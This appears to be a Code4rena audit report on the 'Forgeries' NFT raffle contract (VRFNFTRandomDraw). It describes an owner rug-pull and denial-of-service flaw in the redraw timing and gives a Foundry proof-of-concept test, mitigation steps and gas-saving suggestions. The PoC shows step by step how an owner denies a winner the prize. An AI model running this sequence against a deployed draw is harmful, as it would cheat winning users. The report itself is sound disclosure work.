Forgeries contest - kuldeep's results

Lines of code

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L295

Vulnerability details

Impact

Given the current logic, it is possible to call the redraw method even after recoverTimelock has passed. If the owner does so, the contract will select a new winner for the winning NFT.

But it will be up to the owner to give as much time to the winner to claim the winning NFT, meaning the owner can interrupt the game. These are the possible attacks:

1. Rug pull: The owner calls the lastResortTimelockOwnerClaimNFT method and the current winner will never be able to claim the NFT he won due to a rug-pull by the winning NFT owner.

2. DoS: If the owner wants to choose a new winner, he can call lastResortTimelockOwnerClaimNFT to retrieve NFT back and the owner will wait till the redraw period is over. Once it is over, the owner can transfer back the winning NFT back to the contract (using transferFrom) and call the redraw method again to select a new winner. This way the previous winner will get no chance to claim the NFT he won.

The impact is high as this will affect the winning users directly and the winning NFT owner will be able to interrupt while the game is still going on.

Proof of Concept

This is a test of how this vulnerability can be exploited.

   function test_OwnerInterrupts() public {
    address winner = address(0x1337);
    vm.label(winner, "winner");

    vm.startPrank(winner);
    for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) {
        drawingNFT.mint();
    }
    vm.stopPrank();

    vm.startPrank(admin);
    targetNFT.mint();

    address consumerAddress = factory.makeNewDraw(
        IVRFNFTRandomDraw.Settings({
            token: address(targetNFT),
            tokenId: 0,
            drawingToken: address(drawingNFT),
            drawingTokenStartId: 0,
            drawingTokenEndId: 10,
            drawBufferTime: 9 days,
            recoverTimelock: 8 days,
            keyHash: bytes32(
                0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15
            ),
            subscriptionId: subscriptionId
        })
    );
    vm.label(consumerAddress, "drawing instance");

    mockCoordinator.addConsumer(subscriptionId, consumerAddress);
    mockCoordinator.fundSubscription(subscriptionId, 100 ether);

    VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress);

    targetNFT.setApprovalForAll(consumerAddress, true);

    uint256 drawingId = drawing.startDraw();

    mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);

    assertEq(targetNFT.balanceOf(winner), 0);
    assertEq(targetNFT.balanceOf(consumerAddress), 1);

    // redraw time and recover time both passed
    vm.warp(10 days);

    // owner calls redraw and new winner is selected
    drawingId = drawing.redraw();
    mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);
    assertEq(targetNFT.balanceOf(admin), 0);
    assertEq(targetNFT.balanceOf(consumerAddress), 1);

    // now owner rugpull the NFT before new winner can claim it
    drawing.lastResortTimelockOwnerClaimNFT();

    assertEq(targetNFT.balanceOf(admin), 1);
    assertEq(targetNFT.balanceOf(consumerAddress), 0);

    vm.stopPrank();
    vm.prank(winner);

    // now winner tries to claim won NFT but fails
    vm.expectRevert("ERC721: transfer from incorrect owner");
    drawing.winnerClaimNFT();

    vm.stopPrank();

    // time to call redraw again has passed as well
    vm.warp(20 days);

    vm.startPrank(admin);

    // owner transfers the winning NFT again in the contract
    targetNFT.transferFrom(admin, consumerAddress, 0);

    // owner calls redraw again and new winner is selected replacing the previous one
    drawingId = drawing.redraw();
    mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);
    assertEq(targetNFT.balanceOf(admin), 0);
    assertEq(targetNFT.balanceOf(consumerAddress), 1);
    vm.stopPrank();

    // new winner should be able to claim nft but previous was not able to do so
    // due to DoS attack by owner
    vm.prank(winner);
    drawing.winnerClaimNFT();
    assertEq(targetNFT.balanceOf(winner), 1);
    assertEq(targetNFT.balanceOf(consumerAddress), 0);
}

Tools Used

Foundry

Recommended Mitigation Steps

There could be 2 mitigations:

1. Do not allow the owner to call redraw once recoverTimelock is already passed.
2. If we want the owner to be able to call redraw once recoverTimelock is already passed, then the recoverTimelock value should be updated as well like drawTimelock whenever the owner calls the redraw method. This will give sufficient time to the winning user to claim the won NFT.

Case 1

VRFNFTRandomDraw. fulfillRandomWords: The checked mathematical operation can be unchecked.

Explanation

uint256 tokenRange = settings.drawingTokenEndId - settings.drawingTokenStartId;

This above calculation can be unchecked as it has already been ensured in initialize method that this _settings.drawingTokenEndId > _settings.drawingTokenStartId condition will always hold true.

Gas usage: | Function Name | min | avg | median | max | # calls | Current logic => | rawFulfillRandomWords | 1131 | 38496 | 46390 | 46390 | 6 | Suggested logic => | rawFulfillRandomWords | 1131 | 38354 | 46219 | 46219 | 6 |

Case 2

IVRFNFTRandomDraw.Setting: Struct variable packing

Explanation:

In the Settings struct, the subscriptionId variable can be packed with address token or address drawingToken in the same storage slot to save ~20000 gas (one SSTORE will be removed).

Gas usage: | Function Name | min | avg | median | max | # calls | Current logic => | initialize | 43790 | 146546 | 175523 | 192923 | 15 | Suggested logic => | initialize | 41586 | 133672 | 153325 | 170725 | 15 |

Case 3

VRFNFTRandomDraw. initialize: Redundant condition check in if statement

Explanation

For the VRFNFTRandomDraw contract, this check in the initialize method, the first condition _settings.drawingTokenEndId < _settings.drawingTokenStartId is redundant as the second condition already ensures the same.

In case, _settings.drawingTokenEndId < _settings.drawingTokenStartId, the second check will result in Arithmetic underflow error automatically.

Gas usage: With the current logic, the gas used is test_BadDrawingRange() (gas: 277512) whereas with the changes suggested above the gas used will be test_BadDrawingRange() (gas: 277368).

note: if the suggested update is done in the contract then the associated test needs to be updated as well.

Case 4

VRFNFTRandomDraw: Use solidity Time Units (hours, weeks) to save gas.

Explanation

Remove line 29 and line 31. Use 1 hours instead of HOUR_IN_SECONDS in line 83. Use 1 weeks instead of WEEK_IN_SECONDS in line 90. This saves ~12k gas while deployment.

Gas usage: | Deployment cost | Deployment size Current logic => | 1237526 | 6717 Suggested logic => | 1225659 | 6621